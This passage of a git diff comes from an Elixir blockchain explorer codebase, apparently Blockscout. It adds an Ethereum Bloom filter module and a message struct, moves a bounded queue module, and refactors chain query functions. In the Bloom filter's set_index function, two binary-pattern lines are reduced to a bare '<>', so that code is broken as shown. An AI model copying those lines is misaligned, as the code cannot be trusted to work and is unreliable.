eth_block_number: eth_block_number, + l2_timestamp: l2_timestamp, + callvalue: callvalue, + data: data, + token: + %{ + address: token_address, + destination: token_destination, + amount: token_amount, + decimals: token_decimals, + name: token_name, + symbol: token_symbol + } + | nil, + completion_transaction_hash: completion_transaction_hash | nil + } + + @typep message_id :: non_neg_integer() + @typep status :: :unknown | :initiated | :sent | :confirmed | :relayed + @typep caller :: Hash.Address.t() + @typep destination :: Hash.Address.t() + @typep arb_block_number :: non_neg_integer() + @typep eth_block_number :: non_neg_integer() + @typep l2_timestamp :: non_neg_integer() + @typep callvalue :: non_neg_integer() + @typep data :: binary() + @typep token_address :: Hash.Address.t() + @typep token_destination :: Hash.Address.t() + @typep token_amount :: non_neg_integer() + @typep token_decimals :: non_neg_integer() | nil + @typep token_name :: binary() | nil + @typep token_symbol :: binary() | nil + @typep completion_transaction_hash :: Hash.t() | nil + + defstruct [ + :message_id, + :status, + :caller, + :destination, + :arb_block_number, + :eth_block_number, + :l2_timestamp, + :callvalue, + :data, + token: nil, + completion_transaction_hash: nil + ] +end diff --git a/apps/explorer/lib/explorer/bloom_filter.ex b/apps/explorer/lib/explorer/bloom_filter.ex new file mode 100644 index 000000000000..a5b636207a9a --- /dev/null +++ b/apps/explorer/lib/explorer/bloom_filter.ex @@ -0,0 +1,78 @@ +defmodule Explorer.BloomFilter do + @moduledoc """ + Eth Bloom filter realization. Reference: https://github.com/NethermindEth/nethermind/blob/d61c78af6de2d0a89bd4efd6bfed62cb6b774f59/src/Nethermind/Nethermind.Core/Bloom.cs + """ + import Bitwise + + alias Explorer.BloomFilter + alias Explorer.Chain.Log + + @bloom_byte_length 256 + @bloom_bit_length 8 * @bloom_byte_length + + defstruct filter: <<0::2048>> + + @doc """ + Computes bloom filter from list of logs + """ + @spec logs_bloom([Log.t()]) :: <<_::2048>> + def logs_bloom(logs) do + logs + |> Enum.reduce(%BloomFilter{}, fn log, acc -> + topics = + Enum.reject( + [log.first_topic, log.second_topic, log.third_topic, log.fourth_topic], + &is_nil/1 + ) + + acc_new = + acc + |> add(log.address_hash.bytes) + + Enum.reduce(topics, acc_new, fn topic, acc -> add(acc, topic.bytes) end) + end) + |> Map.get(:filter) + end + + defp add(%BloomFilter{filter: filter} = bloom, element) do + {i1, i2, i3} = get_extract(element) + + new_filter = + filter + |> set_index(i1) + |> set_index(i2) + |> set_index(i3) + + %BloomFilter{bloom | filter: new_filter} + end + + defp hash_function(data), do: ExKeccak.hash_256(data) + + defp set_index(filter, index) do + byte_position = div(index, 8) + shift = rem(index, 8) + + byte = :binary.at(filter, byte_position) + value = set_bit(byte, shift) + + <> = filter + + <> + end + + defp set_bit(byte, bit) do + mask = 1 <<< (7 - bit) + + bor(byte, mask) + end + + defp get_extract(bytes) do + hash = hash_function(bytes) + + {get_index(hash, 0, 1), get_index(hash, 2, 3), get_index(hash, 4, 5)} + end + + defp get_index(bytes, index_1, index_2) do + @bloom_bit_length - 1 - rem((:binary.at(bytes, index_1) <<< 8) + :binary.at(bytes, index_2), 2048) + end +end diff --git a/apps/indexer/lib/indexer/bound_queue.ex b/apps/explorer/lib/explorer/bound_queue.ex similarity index 86% rename from apps/indexer/lib/indexer/bound_queue.ex rename to apps/explorer/lib/explorer/bound_queue.ex index 635f1eb34d1b..daa44deb641d 100644 --- a/apps/indexer/lib/indexer/bound_queue.ex +++ b/apps/explorer/lib/explorer/bound_queue.ex @@ -1,4 +1,4 @@ -defmodule Indexer.BoundQueue do +defmodule Explorer.BoundQueue do @moduledoc """ A queue that tracks its size and can have its size bound to a maximum. """ @@ -103,6 +103,24 @@ defmodule Indexer.BoundQueue do end end + @doc """ + `push_front/2` items from `items` into `bound_queue` until it is full. + """ + def push_front_until_maximum_size( + %__MODULE__{size: maximum_size, maximum_size: maximum_size} = bound_queue, + remaining + ), + do: {bound_queue, remaining} + + def push_front_until_maximum_size(%__MODULE__{} = bound_queue, [] = remaining), do: {bound_queue, remaining} + + def push_front_until_maximum_size(%__MODULE__{} = bound_queue, [head | tail] = remaining) do + case push_front(bound_queue, head) do + {:ok, new_bound_queue} -> push_front_until_maximum_size(new_bound_queue, tail) + {:error, :maximum_size} -> {bound_queue, remaining} + end + end + @doc """ Shrinks the queue to half its current `size` and sets that as its new `max_size`. """ @@ -112,6 +130,13 @@ defmodule Indexer.BoundQueue do shrink(bound_queue, div(size, 2)) end + @doc """ + Set queue maximum_size to nil + """ + def expand(bound_queue) do + %{bound_queue | maximum_size: nil} + end + @doc """ Whether the queue was shrunk. """ diff --git a/apps/explorer/lib/explorer/chain.ex b/apps/explorer/lib/explorer/chain.ex index 7b0c65c2632c..7093f253c0ae 100644 --- a/apps/explorer/lib/explorer/chain.ex +++ b/apps/explorer/lib/explorer/chain.ex @@ -5,34 +5,36 @@ defmodule Explorer.Chain do import Ecto.Query, only: [ + dynamic: 1, + dynamic: 2, from: 2, join: 4, + join: 5, limit: 2, lock: 2, offset: 2, order_by: 2, order_by: 3, preload: 2, + preload: 3, select: 2, select: 3, subquery: 1, - union: 2, - update: 2, where: 2, where: 3 ] - import EthereumJSONRPC, only: [integer_to_quantity: 1, fetch_block_internal_transactions: 2] + import EthereumJSONRPC, only: [fetch_block_internal_transactions: 2] require Logger alias ABI.TypeDecoder - alias Ecto.{Changeset, Multi} + alias Ecto.Changeset - alias EthereumJSONRPC.Contract alias EthereumJSONRPC.Transaction, as: EthereumJSONRPCTransaction + alias EthereumJSONRPC.Utility.RangesHelper - alias Explorer.Counters.LastFetchedCounter + alias Explorer.Account.WatchlistAddress alias Explorer.Chain @@ -43,45 +45,70 @@ defmodule Explorer.Chain do Address.CurrentTokenBalance, Address.TokenBalance, Block, - CurrencyHelpers, + BlockNumberHelper, + CurrencyHelper, Data, - DecompiledSmartContract, + DenormalizationHelper, Hash, Import, InternalTransaction, Log, PendingBlockOperation, + PendingOperationsHelper, + PendingTransactionOperation, SmartContract, - SmartContractAdditionalSource, Token, - Token.Instance, TokenTransfer, Transaction, - Wei + Wei, + Withdrawal } - alias Explorer.Chain.Block.{EmissionReward, Reward} + alias Explorer.Chain.Block.Reader.General, as: BlockReaderGeneral alias Explorer.Chain.Cache.{ - Accounts, BlockNumber, Blocks, Transactions, Uncles } - alias Explorer.Chain.Import.Runner + alias Explorer.Chain.Cache.Counters.{ + BlocksCount, + ContractsCount, + LastFetchedCounter, + NewContractsCount, + NewVerifiedContractsCount, + TokenHoldersCount, + TokenTransfersCount, + VerifiedContractsCount, + WithdrawalsSum + } + + alias Explorer.Chain.Cache.Counters.Helper, as: CacheCountersHelper + alias Explorer.Chain.Health.Helper, as: HealthHelper alias Explorer.Chain.InternalTransaction.{CallType, Type} - alias Explorer.Counters.{AddressesCounter, AddressesWithBalanceCounter} + alias Explorer.Chain.SmartContract.Proxy.Models.Implementation + alias Explorer.Helper, as: ExplorerHelper + alias Explorer.Market.MarketHistoryCache + alias Explorer.MicroserviceInterfaces.MultichainSearch alias Explorer.{PagingOptions, Repo} - alias Explorer.SmartContract.{Helper, Reader} alias Dataloader.Ecto, as: DataloaderEcto - @default_paging_options %PagingOptions{page_size: 50} + @default_page_size 50 + @default_paging_options %PagingOptions{page_size: @default_page_size} + + @token_transfers_per_transaction_preview 10 - @max_incoming_transactions_count 10_000 + @method_name_to_id_map %{ + "approve" => "095ea7b3", + "transfer" => "a9059cbb", + "multicall" => "5ae401dc", + "mint" => "40c10f19", + "commit" => "f14fcbc8" + } @revert_msg_prefix_1 "Revert: " @revert_msg_prefix_2 "revert: " @@ -89,16 +116,9 @@ defmodule Explorer.Chain do @revert_msg_prefix_4 "Reverted " # Geth-like node @revert_msg_prefix_5 "execution reverted: " - # keccak256("Error(string)") - @revert_error_method_id "08c379a0" - - @burn_address_hash_str "0x0000000000000000000000000000000000000000" - - # seconds - @check_bytecode_interval 86_400 + @revert_msg_prefix_6_empty "execution reverted" @limit_showing_transactions 10_000 - @default_page_size 50 @typedoc """ The name of an association on the `t:Ecto.Schema.t/0` @@ -138,120 +158,12 @@ defmodule Explorer.Chain do """ @type necessity_by_association :: %{association => necessity} - @typep necessity_by_association_option :: {:necessity_by_association, necessity_by_association} - @typep paging_options :: {:paging_options, PagingOptions.t()} + @type necessity_by_association_option :: {:necessity_by_association, necessity_by_association} + @type paging_options :: {:paging_options, PagingOptions.t()} @typep balance_by_day :: %{date: String.t(), value: Wei.t()} - - @doc """ - Gets from the cache the count of `t:Explorer.Chain.Address.t/0`'s where the `fetched_coin_balance` is > 0 - """ - @spec count_addresses_with_balance_from_cache :: non_neg_integer() - def count_addresses_with_balance_from_cache do - AddressesWithBalanceCounter.fetch() - end - - @doc """ - Estimated count of `t:Explorer.Chain.Address.t/0`. - - Estimated count of addresses. - """ - @spec address_estimated_count() :: non_neg_integer() - def address_estimated_count do - cached_value = AddressesCounter.fetch() - - if is_nil(cached_value) || cached_value == 0 do - %Postgrex.Result{rows: [[count]]} = Repo.query!("SELECT reltuples FROM pg_class WHERE relname = 'addresses';") - - count - else - cached_value - end - end - - @doc """ - Counts the number of addresses with fetched coin balance > 0. - - This function should be used with caution. In larger databases, it may take a - while to have the return back. - """ - def count_addresses_with_balance do - Repo.one( - Address.count_with_fetched_coin_balance(), - timeout: :infinity - ) - end - - @doc """ - Counts the number of all addresses. - - This function should be used with caution. In larger databases, it may take a - while to have the return back. - """ - def count_addresses do - Repo.aggregate(Address, :count, timeout: :infinity) - end - - @doc """ - `t:Explorer.Chain.InternalTransaction/0`s from the address with the given `hash`. - - This function excludes any internal transactions in the results where the - internal transaction has no siblings within the parent transaction. - - ## Options - - * `:direction` - if specified, will filter internal transactions by address type. If `:to` is specified, only - internal transactions where the "to" address matches will be returned. Likewise, if `:from` is specified, only - internal transactions where the "from" address matches will be returned. If `:direction` is omitted, internal - transactions either to or from the address will be returned. - * `:necessity_by_association` - use to load `t:association/0` as `:required` or `:optional`. If an association is - `:required`, and the `t:Explorer.Chain.InternalTransaction.t/0` has no associated record for that association, - then the `t:Explorer.Chain.InternalTransaction.t/0` will not be included in the page `entries`. - * `:paging_options` - a `t:Explorer.PagingOptions.t/0` used to specify the `:page_size` and - `:key` (a tuple of the lowest/oldest `{block_number, transaction_index, index}`) and. Results will be the internal - transactions older than the `block_number`, `transaction index`, and `index` that are passed. - - """ - @spec address_to_internal_transactions(Hash.Address.t(), [paging_options | necessity_by_association_option]) :: [ - InternalTransaction.t() - ] - def address_to_internal_transactions(hash, options \\ []) do - necessity_by_association = Keyword.get(options, :necessity_by_association, %{}) - direction = Keyword.get(options, :direction) - - from_block = from_block(options) - to_block = to_block(options) - - paging_options = Keyword.get(options, :paging_options, @default_paging_options) - - if direction == nil do - full_query = - InternalTransaction - |> InternalTransaction.where_nonpending_block() - |> InternalTransaction.where_address_fields_match(hash, nil) - |> InternalTransaction.where_block_number_in_period(from_block, to_block) - |> common_where_limit_order(paging_options) - - full_query - |> order_by( - [q], - desc: q.block_number, - desc: q.transaction_index, - desc: q.index - ) - |> preload(transaction: :block) - |> join_associations(necessity_by_association) - |> Repo.all() - else - InternalTransaction - |> InternalTransaction.where_nonpending_block() - |> InternalTransaction.where_address_fields_match(hash, direction) - |> InternalTransaction.where_block_number_in_period(from_block, to_block) - |> common_where_limit_order(paging_options) - |> preload(transaction: :block) - |> join_associations(necessity_by_association) - |> Repo.all() - end - end + @type api? :: {:api?, true | false} + @type ip :: {:ip, String.t()} + @type show_scam_tokens? :: {:show_scam_tokens?, true | false} def wrapped_union_subquery(query) do from( @@ -260,380 +172,133 @@ defmodule Explorer.Chain do ) end - defp common_where_limit_order(query, paging_options) do - query - |> InternalTransaction.where_is_different_from_parent_transaction() - |> InternalTransaction.where_block_number_is_not_null() - |> page_internal_transaction(paging_options, %{index_int_tx_desc_order: true}) - |> limit(^paging_options.page_size) - |> order_by( - [it], - desc: it.block_number, - desc: it.transaction_index, - desc: it.index - ) - end - - @doc """ - Get the total number of transactions sent by the address with the given hash according to the last block indexed. - - We have to increment +1 in the last nonce result because it works like an array position, the first - nonce has the value 0. When last nonce is nil, it considers that the given address has 0 transactions. - """ - @spec total_transactions_sent_by_address(Hash.Address.t()) :: non_neg_integer() - def total_transactions_sent_by_address(address_hash) do - last_nonce = - address_hash - |> Transaction.last_nonce_by_address_query() - |> Repo.one(timeout: :infinity) - - case last_nonce do - nil -> 0 - value -> value + 1 - end - end - - @doc """ - Fetches the transactions related to the address with the given hash, including - transactions that only have the address in the `token_transfers` related table - and rewards for block validation. - - This query is divided into multiple subqueries intentionally in order to - improve the listing performance. - - The `token_trasfers` table tends to grow exponentially, and the query results - with a `transactions` `join` statement takes too long. - - To solve this the `transaction_hashes` are fetched in a separate query, and - paginated through the `block_number` already present in the `token_transfers` - table. - - ## Options - - * `:necessity_by_association` - use to load `t:association/0` as `:required` or `:optional`. If an association is - `:required`, and the `t:Explorer.Chain.Transaction.t/0` has no associated record for that association, then the - `t:Explorer.Chain.Transaction.t/0` will not be included in the page `entries`. - * `:paging_options` - a `t:Explorer.PagingOptions.t/0` used to specify the `:page_size` and - `:key` (a tuple of the lowest/oldest `{block_number, index}`) and. Results will be the transactions older than - the `block_number` and `index` that are passed. - - """ - @spec address_to_transactions_with_rewards(Hash.Address.t(), [paging_options | necessity_by_association_option]) :: - [ - Transaction.t() - ] - def address_to_transactions_with_rewards(address_hash, options \\ []) when is_list(options) do - paging_options = Keyword.get(options, :paging_options, @default_paging_options) - - if Application.get_env(:block_scout_web, BlockScoutWeb.Chain)[:has_emission_funds] do - cond do - Keyword.get(options, :direction) == :from -> - address_to_transactions_without_rewards(address_hash, options) - - address_has_rewards?(address_hash) -> - %{payout_key: block_miner_payout_address} = Reward.get_validator_payout_key_by_mining(address_hash) - - if block_miner_payout_address && address_hash == block_miner_payout_address do - transactions_with_rewards_results(address_hash, options, paging_options) - else - address_to_transactions_without_rewards(address_hash, options) - end - - true -> - address_to_transactions_without_rewards(address_hash, options) - end - else - address_to_transactions_without_rewards(address_hash, options) - end - end - - defp transactions_with_rewards_results(address_hash, options, paging_options) do - blocks_range = address_to_transactions_tasks_range_of_blocks(address_hash, options) - - rewards_task = - Task.async(fn -> Reward.fetch_emission_rewards_tuples(address_hash, paging_options, blocks_range) end) - - [rewards_task | address_to_transactions_tasks(address_hash, options)] - |> wait_for_address_transactions() - |> Enum.sort_by(fn item -> - case item do - {%Reward{} = emission_reward, _} -> - {-emission_reward.block.number, 1} - - item -> - block_number = if item.block_number, do: -item.block_number, else: 0 - index = if item.index, do: -item.index, else: 0 - {block_number, index} - end - end) - |> Enum.dedup_by(fn item -> - case item do - {%Reward{} = emission_reward, _} -> - {emission_reward.block_hash, emission_reward.address_hash, emission_reward.address_type} - - transaction -> - transaction.hash - end - end) - |> Enum.take(paging_options.page_size) - end - - def address_to_transactions_without_rewards(address_hash, options) do - paging_options = Keyword.get(options, :paging_options, @default_paging_options) - - address_hash - |> address_to_transactions_tasks(options) - |> wait_for_address_transactions() - |> Enum.sort_by(&{&1.block_number, &1.index}, &>=/2) - |> Enum.dedup_by(& &1.hash) - |> Enum.take(paging_options.page_size) - end - - def address_to_mined_transactions_without_rewards(address_hash, options) do + def address_hashes_to_mined_transactions_without_rewards(address_hashes, options) do paging_options = Keyword.get(options, :paging_options, @default_paging_options) + necessity_by_association = Keyword.get(options, :necessity_by_association, %{}) - address_hash - |> address_to_mined_transactions_tasks(options) - |> wait_for_address_transactions() + address_hashes + |> address_hashes_to_mined_transactions_tasks(options) + |> Transaction.wait_for_address_transactions() |> Enum.sort_by(&{&1.block_number, &1.index}, &>=/2) |> Enum.dedup_by(& &1.hash) |> Enum.take(paging_options.page_size) + |> select_repo(options).preload(Map.keys(necessity_by_association)) end - defp address_to_transactions_tasks_query(options) do - from_block = from_block(options) - to_block = to_block(options) - - options - |> Keyword.get(:paging_options, @default_paging_options) - |> fetch_transactions(from_block, to_block) - end - - defp transactions_block_numbers_at_address(address_hash, options) do + defp address_hashes_to_mined_transactions_tasks(address_hashes, options) do direction = Keyword.get(options, :direction) options - |> address_to_transactions_tasks_query() + |> Transaction.address_to_transactions_tasks_query(true) |> Transaction.not_pending_transactions() - |> select([t], t.block_number) - |> Transaction.matching_address_queries_list(direction, address_hash) - end - - defp address_to_transactions_tasks(address_hash, options) do - direction = Keyword.get(options, :direction) - necessity_by_association = Keyword.get(options, :necessity_by_association, %{}) - - from_block = from_block(options) - to_block = to_block(options) - - options - |> address_to_transactions_tasks_query() - |> Transaction.not_dropped_or_replaced_transacions() - |> where_block_number_in_period(from_block, to_block) - |> join_associations(necessity_by_association) - |> Transaction.matching_address_queries_list(direction, address_hash) - |> Enum.map(fn query -> Task.async(fn -> Repo.all(query) end) end) - end - - defp address_to_mined_transactions_tasks(address_hash, options) do - direction = Keyword.get(options, :direction) - necessity_by_association = Keyword.get(options, :necessity_by_association, %{}) - - options - |> address_to_transactions_tasks_query() - |> Transaction.not_pending_transactions() - |> join_associations(necessity_by_association) - |> Transaction.matching_address_queries_list(direction, address_hash) - |> Enum.map(fn query -> Task.async(fn -> Repo.all(query) end) end) - end - - def address_to_transactions_tasks_range_of_blocks(address_hash, options) do - extremums_list = - address_hash - |> transactions_block_numbers_at_address(options) - |> Enum.map(fn query -> - extremum_query = - from( - q in subquery(query), - select: %{min_block_number: min(q.block_number), max_block_number: max(q.block_number)} - ) - - extremum_query - |> Repo.one!() + |> Transaction.matching_address_queries_list(direction, address_hashes) + |> Enum.map(fn query -> + Task.async(fn -> + query + |> Transaction.put_has_token_transfers_to_transaction(false, aliased?: true) + |> select_repo(options).all() end) - - extremums_list - |> Enum.reduce(%{min_block_number: nil, max_block_number: 0}, fn %{ - min_block_number: min_number, - max_block_number: max_number - }, - extremums_result -> - current_min_number = Map.get(extremums_result, :min_block_number) - current_max_number = Map.get(extremums_result, :max_block_number) - - extremums_result = - if is_number(current_min_number) do - if is_number(min_number) and min_number > 0 and min_number < current_min_number do - extremums_result - |> Map.put(:min_block_number, min_number) - else - extremums_result - end - else - extremums_result - |> Map.put(:min_block_number, min_number) - end - - if is_number(max_number) and max_number > 0 and max_number > current_max_number do - extremums_result - |> Map.put(:max_block_number, max_number) - else - extremums_result - end - end) - end - - defp wait_for_address_transactions(tasks) do - tasks - |> Task.yield_many(:timer.seconds(20)) - |> Enum.flat_map(fn {_task, res} -> - case res do - {:ok, result} -> - result - - {:exit, reason} -> - raise "Query fetching address transactions terminated: #{inspect(reason)}" - - nil -> - raise "Query fetching address transactions timed out." - end end) end @spec address_hash_to_token_transfers(Hash.Address.t(), Keyword.t()) :: [Transaction.t()] def address_hash_to_token_transfers(address_hash, options \\ []) do paging_options = Keyword.get(options, :paging_options, @default_paging_options) - direction = Keyword.get(options, :direction) - - direction - |> Transaction.transactions_with_token_transfers_direction(address_hash) - |> Transaction.preload_token_transfers(address_hash) - |> handle_paging_options(paging_options) - |> Repo.all() - end - @doc """ - address_hash_to_token_transfers_including_contract/2 function returns token transfers on address (to/from/contract). - It is used by CSV export of token transfers button. - """ - @spec address_hash_to_token_transfers_including_contract(Hash.Address.t(), Keyword.t()) :: [TokenTransfer.t()] - def address_hash_to_token_transfers_including_contract(address_hash, options \\ []) do - paging_options = Keyword.get(options, :paging_options, @default_paging_options) - from_block = Keyword.get(options, :from_block) - to_block = Keyword.get(options, :to_block) + case paging_options do + %PagingOptions{key: {0, 0}, is_index_in_asc_order: false} -> + [] - query = - from_block - |> query_address_hash_to_token_transfers_including_contract(to_block, address_hash) - |> order_by([token_transfer], asc: token_transfer.block_number, asc: token_transfer.log_index) + _ -> + direction = Keyword.get(options, :direction) - query - |> handle_token_transfer_paging_options(paging_options) - |> preload(transaction: :block) - |> preload(:token) - |> Repo.all() + direction + |> Transaction.transactions_with_token_transfers_direction(address_hash) + |> Transaction.preload_token_transfers(address_hash) + |> Transaction.handle_paging_options(paging_options) + |> Repo.all() + end end - defp query_address_hash_to_token_transfers_including_contract(nil, to_block, address_hash) - when not is_nil(to_block) do - from( - token_transfer in TokenTransfer, - where: - (token_transfer.to_address_hash == ^address_hash or - token_transfer.from_address_hash == ^address_hash or - token_transfer.token_contract_address_hash == ^address_hash) and - token_transfer.block_number <= ^to_block - ) - end + @spec address_hash_to_token_transfers_new(Hash.Address.t() | String.t(), Keyword.t()) :: [TokenTransfer.t()] + def address_hash_to_token_transfers_new(address_hash, options \\ []) do + paging_options = Keyword.get(options, :paging_options, @default_paging_options) + direction = Keyword.get(options, :direction) + token_address_hash = Keyword.get(options, :token_address_hash) + filters = Keyword.get(options, :token_type) + necessity_by_association = Keyword.get(options, :necessity_by_association) - defp query_address_hash_to_token_transfers_including_contract(from_block, nil, address_hash) - when not is_nil(from_block) do - from( - token_transfer in TokenTransfer, - where: - (token_transfer.to_address_hash == ^address_hash or - token_transfer.from_address_hash == ^address_hash or - token_transfer.token_contract_address_hash == ^address_hash) and - token_transfer.block_number >= ^from_block - ) + address_hash + |> TokenTransfer.token_transfers_by_address_hash(direction, token_address_hash, filters, paging_options, options) + |> join_associations(necessity_by_association) + |> select_repo(options).all() end - defp query_address_hash_to_token_transfers_including_contract(from_block, to_block, address_hash) - when not is_nil(from_block) and not is_nil(to_block) do - from( - token_transfer in TokenTransfer, - where: - (token_transfer.to_address_hash == ^address_hash or - token_transfer.from_address_hash == ^address_hash or - token_transfer.token_contract_address_hash == ^address_hash) and - (token_transfer.block_number >= ^from_block and token_transfer.block_number <= ^to_block) - ) - end + @spec address_hash_to_withdrawals( + Hash.Address.t(), + [paging_options | necessity_by_association_option] + ) :: [Withdrawal.t()] + def address_hash_to_withdrawals(address_hash, options \\ []) when is_list(options) do + paging_options = Keyword.get(options, :paging_options, @default_paging_options) + necessity_by_association = Keyword.get(options, :necessity_by_association, %{}) - defp query_address_hash_to_token_transfers_including_contract(_, _, address_hash) do - from( - token_transfer in TokenTransfer, - where: - token_transfer.to_address_hash == ^address_hash or - token_transfer.from_address_hash == ^address_hash or - token_transfer.token_contract_address_hash == ^address_hash - ) + address_hash + |> Withdrawal.address_hash_to_withdrawals_query() + |> join_associations(necessity_by_association) + |> handle_withdrawals_paging_options(paging_options) + |> select_repo(options).all() end - @spec address_to_logs(Hash.Address.t(), Keyword.t()) :: [Log.t()] - def address_to_logs(address_hash, options \\ []) when is_list(options) do + @spec address_to_logs(Hash.Address.t(), [paging_options | necessity_by_association_option | api?]) :: [Log.t()] + def address_to_logs(address_hash, csv_export?, options \\ []) when is_list(options) do paging_options = Keyword.get(options, :paging_options) || %PagingOptions{page_size: 50} + necessity_by_association = Keyword.get(options, :necessity_by_association, %{}) - from_block = from_block(options) - to_block = to_block(options) - - {block_number, transaction_index, log_index} = paging_options.key || {BlockNumber.get_max(), 0, 0} - - base_query = - from(log in Log, - inner_join: transaction in Transaction, - on: transaction.hash == log.transaction_hash, - order_by: [desc: log.block_number, desc: log.index], - where: transaction.block_number < ^block_number, - or_where: transaction.block_number == ^block_number and transaction.index > ^transaction_index, - or_where: - transaction.block_number == ^block_number and transaction.index == ^transaction_index and - log.index > ^log_index, - where: log.address_hash == ^address_hash, - limit: ^paging_options.page_size, - select: log - ) + case paging_options do + %PagingOptions{key: {0, 0}} -> + [] - wrapped_query = - from( - log in subquery(base_query), - inner_join: transaction in Transaction, - preload: [:transaction, transaction: [to_address: :smart_contract]], - where: - log.block_hash == transaction.block_hash and - log.block_number == transaction.block_number and - log.transaction_hash == transaction.hash, - select: log - ) + _ -> + from_block = from_block(options) + to_block = to_block(options) - wrapped_query - |> filter_topic(options) - |> where_block_number_in_period(from_block, to_block) - |> Repo.all() - |> Enum.take(paging_options.page_size) + base = + from(log in Log, + order_by: [desc: log.block_number, desc: log.index], + where: log.address_hash == ^address_hash, + limit: ^paging_options.page_size, + select: log, + inner_join: block in Block, + on: block.hash == log.block_hash, + where: block.consensus == true + ) + + preloaded_query = + if csv_export? do + base + else + base + |> preload( + transaction: [ + from_address: ^Implementation.proxy_implementations_association(), + to_address: ^Implementation.proxy_implementations_association() + ] + ) + end + + preloaded_query + |> page_logs(paging_options) + |> filter_topic(Keyword.get(options, :topic)) + |> BlockReaderGeneral.where_block_number_in_period(from_block, to_block) + |> join_associations(necessity_by_association) + |> select_repo(options).all() + |> Enum.take(paging_options.page_size) + end end - defp filter_topic(base_query, topic: topic) do + defp filter_topic(base_query, null) when null in [nil, "", "null"], do: base_query + + defp filter_topic(base_query, topic) do from(log in base_query, where: log.first_topic == ^topic or log.second_topic == ^topic or log.third_topic == ^topic or @@ -641,32 +306,6 @@ defmodule Explorer.Chain do ) end - defp filter_topic(base_query, _), do: base_query - - def where_block_number_in_period(base_query, from_block, to_block) when is_nil(from_block) and not is_nil(to_block) do - from(q in base_query, - where: q.block_number <= ^to_block - ) - end - - def where_block_number_in_period(base_query, from_block, to_block) when not is_nil(from_block) and is_nil(to_block) do - from(q in base_query, - where: q.block_number > ^from_block - ) - end - - def where_block_number_in_period(base_query, from_block, to_block) when is_nil(from_block) and is_nil(to_block) do - from(q in base_query, - where: 1 - ) - end - - def where_block_number_in_period(base_query, from_block, to_block) do - from(q in base_query, - where: q.block_number > ^from_block and q.block_number <= ^to_block - ) - end - @doc """ Finds all `t:Explorer.Chain.Transaction.t/0`s given the address_hash and the token contract address hash. @@ -681,11 +320,17 @@ defmodule Explorer.Chain do def address_to_transactions_with_token_transfers(address_hash, token_hash, options \\ []) do paging_options = Keyword.get(options, :paging_options, @default_paging_options) - address_hash - |> Transaction.transactions_with_token_transfers(token_hash) - |> Transaction.preload_token_transfers(address_hash) - |> handle_paging_options(paging_options) - |> Repo.all() + case paging_options do + %PagingOptions{key: {0, 0}, is_index_in_asc_order: false} -> + [] + + _ -> + address_hash + |> Transaction.transactions_with_token_transfers(token_hash) + |> Transaction.preload_token_transfers(address_hash) + |> Transaction.handle_paging_options(paging_options) + |> Repo.all() + end end @doc """ @@ -719,120 +364,41 @@ defmodule Explorer.Chain do end @doc """ - Reward for mining a block. - - The block reward is the sum of the following: - - * Sum of the transaction fees (gas_used * gas_price) for the block - * A static reward for miner (this value may change during the life of the chain) - * The reward for uncle blocks (1/32 * static_reward * number_of_uncles) - - *NOTE* - - Uncles are not currently accounted for. + The `t:Explorer.Chain.Wei.t/0` paid to the miners of the `t:Explorer.Chain.Block.t/0`s with `hash` + `Explorer.Chain.Hash.Full.t/0` by the signers of the transactions in those blocks to cover the gas fee + (`gas_used * gas_price`). """ - @spec block_reward(Block.block_number()) :: Wei.t() - def block_reward(block_number) do - block_hash = - Block - |> where([block], block.number == ^block_number and block.consensus) - |> select([block], block.hash) - |> Repo.one!() - - case Repo.one!( - from(reward in Reward, - where: reward.block_hash == ^block_hash, - select: %Wei{ - value: coalesce(sum(reward.reward), 0) - } - ) - ) do - %Wei{ - value: %Decimal{coef: 0} - } -> - Repo.one!( - from(block in Block, - left_join: transaction in assoc(block, :transactions), - inner_join: emission_reward in EmissionReward, - on: fragment("? <@ ?", block.number, emission_reward.block_range), - where: block.number == ^block_number and block.consensus, - group_by: [emission_reward.reward, block.hash], - select: %Wei{ - value: coalesce(sum(transaction.gas_used * transaction.gas_price), 0) + emission_reward.reward - } - ) + @spec gas_payment_by_block_hash([Hash.Full.t()]) :: %{Hash.Full.t() => Wei.t()} + def gas_payment_by_block_hash(block_hashes) when is_list(block_hashes) do + query = + if DenormalizationHelper.transactions_denormalization_finished?() do + from( + transaction in Transaction, + where: transaction.block_hash in ^block_hashes and transaction.block_consensus == true, + group_by: transaction.block_hash, + select: {transaction.block_hash, %Wei{value: coalesce(sum(transaction.gas_used * transaction.gas_price), 0)}} ) - - other_value -> - other_value - end - end - - @uncle_reward_coef 1 / 32 - def block_reward_by_parts(block, transactions) do - %{hash: block_hash, number: block_number} = block - base_fee_per_gas = Map.get(block, :base_fee_per_gas) - - txn_fees = - Enum.reduce(transactions, Decimal.new(0), fn %{gas_used: gas_used, gas_price: gas_price}, acc -> - gas_used - |> Decimal.new() - |> Decimal.mult(Decimal.new(gas_price)) - |> Decimal.add(acc) - end) - - static_reward = - Repo.one( + else from( - er in EmissionReward, - where: fragment("int8range(?, ?) <@ ?", ^block_number, ^(block_number + 1), er.block_range), - select: er.reward + block in Block, + left_join: transaction in assoc(block, :transactions), + where: block.hash in ^block_hashes and block.consensus == true, + group_by: block.hash, + select: {block.hash, %Wei{value: coalesce(sum(transaction.gas_used * transaction.gas_price), 0)}} ) - ) || %Wei{value: Decimal.new(0)} - - burned_fee_counter = - transactions - |> Enum.reduce(Decimal.new(0), fn %{gas_used: gas_used}, acc -> - gas_used - |> Decimal.new() - |> Decimal.add(acc) - end) - - has_uncles? = is_list(block.uncles) and not Enum.empty?(block.uncles) - - burned_fees = base_fee_per_gas && Wei.mult(%Wei{value: Decimal.new(base_fee_per_gas)}, burned_fee_counter) - uncle_reward = (has_uncles? && Wei.mult(static_reward, Decimal.from_float(@uncle_reward_coef))) || nil + end - %{ - block_number: block_number, - block_hash: block_hash, - miner_hash: block.miner_hash, - static_reward: static_reward, - txn_fees: %Wei{value: txn_fees}, - burned_fees: burned_fees || %Wei{value: Decimal.new(0)}, - uncle_reward: uncle_reward || %Wei{value: Decimal.new(0)} - } - end + initial_gas_payments = + block_hashes + |> Enum.map(&{&1, %Wei{value: Decimal.new(0)}}) + |> Enum.into(%{}) - @doc """ - The `t:Explorer.Chain.Wei.t/0` paid to the miners of the `t:Explorer.Chain.Block.t/0`s with `hash` - `Explorer.Chain.Hash.Full.t/0` by the signers of the transactions in those blocks to cover the gas fee - (`gas_used * gas_price`). - """ - @spec gas_payment_by_block_hash([Hash.Full.t()]) :: %{Hash.Full.t() => Wei.t()} - def gas_payment_by_block_hash(block_hashes) when is_list(block_hashes) do - query = - from( - block in Block, - left_join: transaction in assoc(block, :transactions), - where: block.hash in ^block_hashes and block.consensus == true, - 